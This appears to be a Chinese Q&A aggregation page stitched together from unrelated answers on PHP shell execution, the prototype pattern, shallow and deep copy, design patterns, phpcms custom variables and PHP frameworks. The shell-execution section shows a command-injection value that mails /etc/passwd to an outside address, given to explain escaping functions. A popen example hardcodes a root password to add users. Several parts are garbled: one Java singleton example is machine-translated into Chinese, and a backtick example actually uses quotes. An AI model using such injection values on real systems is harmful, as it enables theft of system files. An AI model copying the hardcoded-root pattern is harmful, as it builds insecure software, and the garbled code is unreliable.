原型模式php

⑴ php运行EXEC文件

在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
system()
原型：string
system (string command [, int return_var])

system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型：string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array
可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二
个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型：void passthru (string command [, int
return_var])
passthru
()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2）
用popen()函数打开进程

上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一
的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。

例子1：

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2：

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程，增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3）
用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）

这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象：
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么？

要考虑两个问题：安全性和超时。
先
看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地
址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样：

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱：$to";
?>

用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成：

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸
好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入
（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运
行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中，如：

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

⑵ php执行linux命令并输出终端屏幕显示的内容（实时）

PHP在linux上执行命令

目录：
一、PHP中调用外部命令介绍
二、关于安全问题
三、关于超时问题
四、关于PHP运行linux环境中命令出现的问题

一、PHP中调用外部命令介绍
在PHP中调用外部命令，可以用，1>调用专门函数、2>反引号、3>popen()函数打开进程，三种方法来实现：

方法一：用PHP提供的专门函数（四个）：
PHP提供4个专门的执行外部命令的函数：exec(), system(), passthru(), shell_exec()
1）exec()
原型: string exec ( string $command [, array &$output [, int &$return_var ］ )
说明: exec执行系统外部命令时不会输出结果，而是返回结果的最后一行。如果想得到结果，可以使用第二个参数，让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行，则这个数组就有20条记录，所以如果需要反复输出调用不同系统外部命令的结果，最好在输出每一条系统外部命令结果时清空这个数组unset($output)，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回0。
<?php
exec("dir",$output);
print_r($output);
?>

2）system()
原型: string system ( string $command [, int &$return_var ] )
说明: system和exec的区别在于，system在执行系统外部命令时，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
<?php
system("pwd",$result);
print $result;//输出命令的结果状态码
?>
关于第二个参数结果状态码的简单介绍：
如果返回0是运行成功，
在Bash中，当错误发生在致命信号时，bash会返回128+signal number做为返回值。
如果找不到命令，将会返回127。
如果命令找到了，但该命令是不可执行的，将返回126。
除此以外，Bash本身会返回最后一个指令的返回值。
若是执行中发生错误，将会返回一个非零的值。
Fatal Signal : 128 + signo
Can't not find command : 127
Can't not execute : 126
Shell script successfully executed : return the last command exit status
Fatal ring execution : return non-zero

3）passthru()
原型: void passthru ( string $command [, int &$return_var ] )
说明: passthru与system的区别，passthru直接将结果输出到游览器，不返回任何值，且其可以输出二进制，比如图像数据。第二个参数可选，是状态码。
<?php
header("Content-type:image/gif");
passthru("/usr/bin/ppm2tiff /usr/share/tk8.4/demos/images/teapot.ppm");
?>

4）shell_exec()
原型: string shell_exec ( string $cmd )
说明: 直接执行命令$cmd
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

方法二：反撇号
原型: 反撇号`（和~在同一个键）执行系统外部命令
说明: 在使用这种方法执行系统外部命令时，要确保shell_exec函数可用，否则是无法使用这种反撇号执行系统外部命令的。
<?php
echo `dir`;
?>

方法三：用popen()函数打开进程
原型: resource popen ( string $command , string $mode )
说明: 能够和命令进行交互。之前介绍的方法只能简单地执行命令，却不能与命令交互。有时须向命令输入一些东西，如在增加系统用户时，要调用su来把当前用户换到root用户，而su命令必须要在命令行上输入root的密码。这种情况下，用之前提到的方法显然是不行的。
popen( )函数打开一个进程管道来执行给定的命令，返回一个文件句柄，可以对它读和写。返回值和fopen()函数一样，返回一个文件指针。除非使用的是单一的模式打开(读or写)，否则必须使用pclose()函数关闭。该指针可以被fgets(),fgetss(),fwrite()调用。出错时，返回FALSE。
<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

⑶ C#中的设计模式

不太清楚你的问题；是不是要划线联接啊？

迭代器设计模式 应该是 要实现 IEnumerator 接口的，它俩算是一对吧，如果是这样的话；
那应该是这样的了

代理设计模式 Remoting
迭代器设计模式 IEnumerator
对象工厂设计模式 Activator
复合设计模式 XmlNode
观察者设计设计模式 event （在C#中，可以用事件模式来替代该模式）
适配器设计模式 IDataAdapter
修饰器设计模式 Attribute （修饰器与装饰模式应该不一样吧）
原型设计模式 ICloneable （.net中，使用该接口实现深拷贝）

以上不保证完全证确；

⑷ PHP7会毁了PHP吗

我觉得题主说的“毁掉”的意思可能是是毁掉PHP超低的入门门槛。感觉越写越像java。然而不可避免的，要接受改变。在ES6刚出的时候也有很多人说ES6毁了JavaScript.原型继承的写法多么多么好。class写法多么多么糟。时间证明，ES6标准正在快速被实现。我相信，PHP正在越变越好
关于严格模式：
从目前来看我觉得新项目用PHP的话，还是开了严格模式比较好。因为7.1会加上JIT，性能会提升更多。不给返回值类型JIT不好做啊。对于新手来说，不开严格模式学习也不会有太大的问题。
总之，我觉得PHP7是个好事。我就等3号发布正式版升级了~话说什么时候能把那些语法整理一下啊，都二十年了，咱函数名调整一下吧。要不然就被黑一辈子了 T_T

⑸ 什么是PHP系统外部命令

在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。

⑹ PHP对象的浅复制与深复制的实例详解

PHP对象的浅复制与深复制的实例详解
最近在看原型模式时注意到这个问题~~PHP中对象
'='
与‘clone'的区别
实例代码：
//聚合类
class
ObjA
{
public
$num
=
0;
public
$objB;//包含的对象
function
__construct()
{
$this->objB
=
new
ObjB();
}
//只有实现了下面方法聚合类
才能实现深复制
/*function
__clone()
{
$this->objB
=
clone
$this->objB;
}*/
}
class
ObjB
{
public
$num2
=
0;
}
//原型对象
$objA
=
new
ObjA();
//复制对象（‘='复制引用）
$objA2
=
$objA;
$objA2->num
=
2;
//随着$objA2->num的变化
$objA->num也变化了
print_r($objA->num.'<br/>');//结果为2
print_r($objA2->num.'<br/>');//结果为2
//复制对象（‘clone'关键字克隆）
$objA3
=
clone
$objA;
$objA3->num
=
4;
//随着$objA3->num的变化
$objA->num没有变化
print_r($objA->num.'<br/>');//结果为2
print_r($objA3->num.'<br/>');//结果为4
//但是clone的对象（是聚合类）中包含其他对象时所包含的对象（objB）复制的是引用
$objA3->objB->num2
=
7;
print_r($objA3->objB->num2.'<br/>');//结果是7
print_r($objA->objB->num2.'<br/>');//结果是7</pre>
如有疑问请留言或者到本站社区交流讨论，感谢阅读，希望能帮助到大家，谢谢大家对本站的支持！

⑺ 你熟悉的设计模式有哪些写出单例模式的实现代码

23个设计模式：

根据目的设计模式可以分为创造模式，结构模式和行为模式，创建模式用于处理对象的创建。结构模式用于处理类或对象的组合。

行为模式用于描述类或对象如何交互以及如何分配职责，创建模式用于处理对象的创建。主要包括以下五种设计模式：

工厂方法模式（）

抽象工厂模式（AbstractFactoryPattern）

建造者模式（BuilderPattern）

原型模式（PrototypePattern）

单例模式（SingletonPattern）

结构模式用于处理类或对象的组合，包括以下七个设计模式：

适配器模式（AdapterPattern）

桥接模式（BridgePattern）

组合模式（CompositePattern）

装饰者模式（DecoratorPattern）

外观模式（FacadePattern）

享元模式（FlyweightPattern）

代理模式（ProxyPattern）

行为模式描述类或对象如何交互以及它们如何分配职责。它由以下11种设计模式组成：

责任链模式（Chain的ResponsibilityPattern）

命令模式（CommandPattern）

解释器模式（InterpreterPattern）

迭代器模式（IteratorPattern）

中介者模式（MediatorPattern）

备忘录模式（MementoPattern）

观察者模式（ObserverPattern）

状态模式（StatePattern）

策略模式（StrategyPattern）

模板方法模式（TemplateMethodPattern）

访问者模式（VisitorPattern）

单例模式实现1：

公共类Singleton｛

类共享实例对象

私有静态单例；单例＝零；

／／私有构造函数

私有Singleton（）｛

系统。出去了。这是单例！！）；

｝

／／获取单例方法

公共同步静态单例getInstance（）｛

／／确定共享对象是否为空，如何空一个新对象

If（singleton＝＝null）｛

singleton＝newsingleton（）；

｝

返回单例。

｝

｝

单例模式实现2：

公共类Singleton｛

类共享实例对象实例化

＝newSingleton（）；

／／私有构造函数

私有Singleton（）｛

系统：出去了，这是单例！！）；

｝

／／获取单例方法

公共静态单例getInstance（）｛

直接返回共享对象

返回单例。

｝

｝

(7)原型模式php扩展阅读：

注意事项：

设计模式主要分三个类型：创建型和行为型。

Singleton：确保一个类只有一个实例，并为其提供一个全局访问点

AbstractFactory：提供一个接口，用于创建一系列相关或相互依赖的对象，而无需指定它们的具体类。

FactoryMethod：定义一个用于创建对象的接口，并让子类决定实例化哪个类。工厂方法将类的实例化延迟到子类。

Builder：将复杂对象的构造与其表示分离，使相同的构造过程可以创建不同的表示。

Prototype：指定要使用Prototype实例创建的对象的类型，并复制该原型来创建一个新对象。

Composite：将对象组合成树状结构，以表示整体各部分之间的关系。组合使用户一致地使用单个对象和组合对象。

Facade：为子系统fa中的一组接口提供一致的接口。Ade提供了一个高级接口，使子系统更易于使用。

Proxy：为其他对象提供一个代理，以控制对该对象的访问

Adapter：将一个接口类转换为客户想要的另一个接口类。适配器模式使那些由于接口不兼容而无法一起工作的类一起工作。

Decrator：式比子类化更灵活，可以为对象动态添加一些额外的职责。

Bridge：模式将抽象部分与其实现部分分离，以便它们可以独立地更改。

Flyweight：享元模式

⑻ php实现原型模式中深拷贝是什么意思

找工作之前制作简历时，需要做很多份简历，而且简历的格式是一样的，也就意味着要做很多重复性的工作。在编程过程中，遇到重复性工作多的时候，粘贴复制是最快的解决办法。但是一旦这些代码需要修改时，那么每一处用到这段代码的地方都需要进行修改，这也就增加了代码维护工作。在学习VB的时候，我们总是把相同的代码放在模块中，然后用到这段代码的地方就调用模块，这样的话耦合性又是比较大的。那么，解决这个问题到底该怎么办呢？

设计模式中的原型模式就很好的解决了这个问题。原型模式是用原型实例指定创建对象的种类，并且通过拷贝这些原型创建的对象。

也就是说，先生成一份模板，然后其余的对象都去拷贝这份模板，那么得到的对象就都是一样的了。

下面小编就以简历复制为例子，简单介绍原型模式：
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience {
public String workDate;
public String company;
}

//简历类
class Resume implements Cloneable{
private String name;
private String sex;
private String age;

private WorkExperience work;

public Resume(String name){
this.name=name;
work=new WorkExperience;
}

//设置个人信息
public void SetPersonalInfo(String sex,String age){
this.sex=sex;
this.age=age;
}

//设置工作经历
public void SetWorkExperience(String workDate,String company){
work.workDate=workDate;
work.company=company;
}

public Object Clone(){
return this.Clone();
}
}

//客户端
class WorkResume{
public static void main(String[] args){
Resume a =new Resume("张三");
a.SetPersonalInfo("男","20");
a.SetWorkExperience("1998~2000","XX公司");
Resume b=(Resume)a.Clone();
b.SetWorkExperience("2000~2006","YY公司");
}
}</span></span>
这样设置完成之后得到的结果却是两条信息是一样的，而且工作经历都是最新的这一条。

做代码的内存分析，可得到如下图：

即a、b两个对象指向的是同一块内存，也就是说b在进行修改时，a的信息也会被修改，这也就是原型模式的浅复制。浅复制的意思就是说，只把对象a的引用复制给b，二者指向同一区域，当一个修改时，会影响另一个对象。

对代码进行修改，将工作经历类改为：
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience implements Cloneable{
private String workDate;
private String company;

public Object Clone(){
WorkExperience obj=new WorkExperience();
obj.workDate=this.workDate;
obj.company=this.company;
return obj;
}
}</span></span>

将简历类中的Clone方法改为：
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> public Object Clone(){
Resume obj=new Resume(this.work);
obj.name=this.name;
obj.sex=this.sex;
obj.age=this.age;
return obj;
}</span></span>

并且在简历类中添加私有构造方法：
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> private Resume(WorkExperience work){
this.work=(WorkExperience)work.Clone();
} </span></span>
则得到的结果就是我们想要的结果了。

对新代码进行内存分析，如下图：

到此为止，原型模式的深浅复制就介绍完了，如果有什么理解不到位的地方，欢迎广大读者给出指导。

总结

深浅复制其实不难，只要把内存分析搞懂了就好了。浅复制是把一个对象的引用复制给另一个对象，二者对同一块内存区域进行操作，类似于参数传递中的传址。而深复制则是把原型对象的内存区域也复制一份给拷贝对象，二者各自拥有自己的引用，各自操作自己的内存区域，互不影响，类似于参数传递中的传值。

⑼ phpcms怎么添加自定义变量

第一步，添加自定义插件：
打开 \phpcms\moles\admin\templates\site_edit.tpl.php 文件,找到最后一个 </fieldset> ,在他后面添加上下面的代码:

01 <!--自定义变量设置开始 自定义变量插件-->
02 <div class="bk10"></div>
03 <fieldset>
04 <legend>自定义变量</legend>
05 <table width="100%" class="table_form" id="myVarForm">
06 <script type="text/javascript">
07 //var t = <?php echo count($setting['var_value'])?> + 1;
08 //上面一行注释 添加下方代码 这样自定义变量就可以添加很多个!
09 <?php
10 $arr = array_keys($setting['var_value']);
11 $t = max($arr);
12 ?>
13 var t = <?php echo $t;?> + 1;
14 function var_add()
15 {
16 var data = '<div id="var'+t+'"><span style="width:54px;float:left;">未定义</span><span style="width:170px"><input name="setting[var_description]['+t+']" type="text"size="26"></span><span style="width:175px;margin-left:6px;"><inputname="setting[var_name]['+t+']" type="text" size="26"></span><spanstyle="width:175px;margin-left:6px;"><input name="setting[var_value]['+t+']"type="text" size="26"></span> <span> <a href="###" onclick="var_del('+t+')">删除</a></span></div>';
17 $('#var_define').append(data);
18 t++;
19 return true;
20 }
21 function var_del(t)
22 {
23 $('#var'+t).remove();
24 return true;
25 }
26 </script>
27 <tr>
28 <th><strong>自定义变量</strong>（<a href="###" onClick="javascript:var_add();"style="color:red">+</a>）</th>
29 <td>
30 <style type="text/css">
31 #var_define_head span{float:left;text-align:center;}
32 #myVarForm input{width:110px;}
33 </style>
34 <div id="var_define">
35 <div id="var_define_head"><span style="width:60px;">索引值</span><spanstyle="width:158px"><strong>变量描述</strong></span><span style="width:158px"><strong>变量名</strong></span><span style="width:158px"><strong>变量值</strong></span></div>
36 <?php
37 foreach($setting['var_name'] as $k=>$v){ if($k!=0)
38 {
39 ?>
40 <div id="var<?php echo $k?>"><span style="width:60px;"><input type="text" size="4"title="点击复制到剪贴板" name="{$setting[var_value][<?php echo $k?>]}" value="<?phpecho $k?>" onDblClick="clipboardData.setData('text',this.name); alert(this.name +'已复制到剪贴板');"></span></span><span style="width:150px"><inputname="setting[var_description][<?php echo $k?>]" type="text" size="21" value="<?phpecho $setting['var_description'][$k]?>"></span><span style="width:150px;margin-left:4px;"><input name="setting[var_name][<?php echo $k?>]" type="text" size="21" value="<?php echo $v?>"></span><span style="width:150px;margin-left:4px;"><inputname="setting[var_value][<?php echo $k?>]" type="text" size="21" value="<?php echo $setting['var_value'][$k]?>"></span><span> <a href="###" onClick="var_del(<?php echo $k?>)">删除</a><span></div>
41
42
43 <?php
44 }
45 }
46 ?>
47 </div>
48 </td>
49 </tr>
50 <tr><td>调用说明</td>
51 <td>1、首先加载站点缓存,方法如下: $siteinfo = getcache('sitelist', 'commons'); 然后可以使用var_mp()函数打印 $siteinfo 数组,可以很清楚的看到该数组的结构,如果懂得数组使用的可以很方便取到需要的值;
52 <br>
53 示例:<br>
54 <div style="border:1px solid #D8D8D8;">
55 <li>$siteinfo = getcache('sitelist', 'commons');//加载缓存文件</li>
56 <li>$siteid = $siteid?$siteid:1;//设置站点</li>
57 <li>$site_setting = string2array($siteinfo[$siteid]['setting']);//将字符串转换为数组,前三行代码在同一个文件里只需要写一次就足够了,你需要用到的页面里可能已经做过这样的处理,就可以连上面三步都省略掉</li>
58 <li>echo $site_setting['var_value'][0]; //将输出第一个自定义变量的变量值</li>
59 </div>
60 <br>2、此变量为**数组模式,原型请查阅 caches\caches_commons\caches_data\sitelist.cache.php 文件.
61 <br>3、利用此插件,您可以自定义一些变量,在"任何地方"有条件的使用,作为一个"开关"或者您自己的用途.方便您在后台随时修改设置.
62 </tr>
63 </table>
64 </fieldset>
65 <style>
66 #myVarForm input {
67 width: 110px;
68 }
69 </style>
70 <!--自定义变量设置结束-->

第二步：前台调用自定义变量
查看代码打印?
1 <!---自定义变量插件初始化--->
2 <?php
3 $siteinfo = getcache('sitelist', 'commons');//加载缓存文件
4 $siteid = $siteid?$siteid:1;//设置站点
5 $site_setting = string2array($siteinfo[$siteid]['setting']);//将字符串转换为数组
6 ?>
7 <!---调用自定义变量 [0]代表自定义变量的索引值。--->
8 <?php echo $site_setting['var_value'][0];?>

⑽ PHP中的各种框架

CodeIgniter、CakePHP、ZendFramework、Symfony这几个是国外的，你可以参考下http://www.isstudy.com
CodeIgniter
优点：
1. 配置简单，全部的配置使用PHP脚本来配置，执行效率高;具有基本的路由功能，能够进行一定程度的路由;具有初步的Layout功能，能够制作一定程度的界面外观;数据库层封装的不错，具有基本的MVC功能
2. 快速简洁，代码不多，执行性能高，框架简单，容易上手，学习成本低，文档详细;自带了很多简单好用的library，框架适合小型应用
缺点：
1. 把Model层简单的理解为数据库操作
2. 框架略显简单，只能够满足小型应用，略微不太能够满足中型应用需要
评价：
总体来说，拿CodeIgniter来完成简单快速的应用还是值得，同时能够构造一定程度的layout，便于模板的复用，数据操作层来说封装的不错，并且CodeIgniter没有使用很多太复杂的设计模式，执行性能和代码可读性上都不错。至于附加的 library 也还不错，简洁高效。
CakePHP
优点：
1. CakePHP是最类似于RoR的框架，包括设计方式，数据库操作的Active Record方式;设计层面很优雅，没有自带多余的 library，所有的功能都是纯粹的框架，执行效率还不错;数据库层的 hasOne, hasMany 功能很强大，对于复杂业务处理比较合适;路由功能，配置功能还不错;自动构建脚手架(scaffold)很强大;适合中型应用;基本实现过了MVC每一层;具有自动操作命令行脚本功能;
2. 文档比较全，在国内推广的比较成功，大部分都知道CakePHP，学习成本中等
缺点：
1. CakePHP非常严重的问题是把Model理解为数据库层操作，严重影响了除了数据库之外的操作能力
2. CakePHP的cache功能略显薄弱，配置功能稍嫌弱;CakePHP不适合大型应用，只适合中型应用，小型应用来说略微的学习成本高了点
评价：
总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表，并且目前发挥着很重要的作用，不少自己写的框架都模仿了CakePHP的方式，是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想，作为开发快速应用和原型是绝好的工具;同样，用来做Web2.0网站的开发框架，也是值得选择的。
【 Zend Framework 】
优点：
1. 官方出品，自带了非常多的 library，框架本身使用了很多设计模式来编写，架构上很优雅，执行效率中等;MVC设计中，比较简洁，具有路由功能，配置文件比较强大(能够处理 XML和php INI)，各种 library 很强大，是所有PHP框架中各种功能最全面的，包括它不仅是一个框架，更是一个大类库(取代PEAR)，这是它的主要特色;能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强)，并且能够很轻易的使用Loader功能加载其他新增加的Class;Cache功能很强大，从前端Cache到后端Cache都支持，后端 Cache支持Memcache、APC、SQLite、文件等等方式;数据库操作功能很强大，支持各种驱动(适配器)
2. 文档很全，在国内社区很成熟，并且目前不少Web 2.0网站在使用，学习成本中等
缺点：
1. MVC功能完成比较弱，View层简单实现(跟没实现一样)，无法很强大的控制前端页面
2. 没有自动化脚本，创建一个应用，包括入口文件，全部必须自己手工构建，入门成本高
3. Zend Framework 作为一个中型应用框架问题不大，也能够勉强作为大型应用的框架，但是作为一个很成熟的大型PHP框架来说，还需要一些努力
评价：
作为官方出品的框架，Zend Framework的野心是可以预见的，想把其他框架挤走，同时封装很多强大的类库，能够提供一站式的框架服务，并且他们的开发团队很强大，完全足够有能力开发很强大的产品出来，所以基本可以确定的是Zend Framework前途无量，如果花费更多的时间去完善框架。同样的，Zend Framework架构本身也是比较优雅的，说明Zend官方是有很多高手的，设计理念上比较先进，虽然有一些功能实现的不够完善，比如View层，自动化脚本等等，这些都有赖于未来的升级。总体来说Zend Framework是最值得期待的框架，当然，你目前要投入你的项目中使用也是完全没问题的。
【 Symfony 】
优点：
1. Symfony 是我了解的PHP框架中功能最强大的，而且我使用时间比较长，但是很多功能还是没有挖掘出来;它完整实现了MVC三层，封装了所有东西，包括 $_POST，$_GET 数据，异常处理，调试功能，数据检测;包含强大的缓存功能，自动加载Class(这个功能很爽)，强大的i18n国家化支持;具有很强大的view层操作，能够零碎的包含单个多个文件;非常强大的配置功能，使用yml配置能够控制所有框架和程序运行行为，强大到让人无语;能够很随意的定义各种自己的 class，并且symfony能够自动加载(auto load)这些class，能够在程序中随意调用;包含强大的多层级项目和应用管理：Project --> Application --> Mole --> Action，能够满足一个项目下多个应用的需要，并且每层可以定义自己的类库，配置文件，layout;非常强大的命令行操作功能，包括建立项目、建立应用、建立模块、刷新缓存等等;
2. Symfony绝对是开发大型复杂项目的首选，因为使用了Symfony，将大大节约开发成本，并且多人协作的时候，不会出现问题，在Project级别定义好基础Class以后，任何模块都能够重用，大大复用代码
缺点：
1. 数据库操作model采用了重量级的propel和creole，不过在我测试的版本中已经把他们移到了addon里，可用可不用
2. 缓存功能无法控制，每次开发调试总是缓存，需要执行 symfony cc, symfony rc 来清除和重建缓存;
3. 效率不是很高，特别是解析模板和读取配置文件的过程，花费时间不少;
4. 学习成本很高，并且国内没有成熟的社区和文档，连中文手册都没有，相应的要掌握所有功能，需要花费比较多的时间
评价：
Symfony绝对是企业级的框架，唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西;强悍的东西，自然学习复杂，但是相应的对项目开发也比较有帮助，自然是推荐复杂的项目使用Symfony来处理，觉得是值得，后期的维护成本比较低，复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目，那么相应的就要考虑关于数据库分布的问题，那么就需要抛弃Symfony自带的数据库操作层，需要自己定义，当然了，Symfony支持随意的构造model层。
【 总评 】
以上数款框架，各有特色，而且都是开源项目，不过框架针对的项目不一样，一般来说 CodeIngiter 比较适合小型项目，CakePHP 和 Zend Framework 比较适合中型项目，Symfony 比较适合大型重量级项目，在项目选型的时候，要充分考虑框架的可以定制性、扩展性，因为每个项目都无法确定你是否会随着需求的变化进行改变。
相对来说，Zend Framework 和 Symfony 应对变化的能力比较强，特别是能够随意定制 model 层的Class，能够非常方便增加自己业务或者数据处理类，我是个人比较推荐在中大型项目中使用的框架。CodeIngiter 和 CakePHP 在中小型项目中同样能够发挥重大作用，快速开发和原型构建，非常适合目标不清晰的原型项目的开发。了解一个框架最好的方式就是使用它，学习它最好的方式就是看视频。
仁者见仁，智者见智，在项目挑选框架的时候，请先认真考察项目的需求和未来的变化，然后选择合适的框架，让项目开发速度和后期维护性得到一个合理的平衡，当然了，也许，自己写一个框架更适合。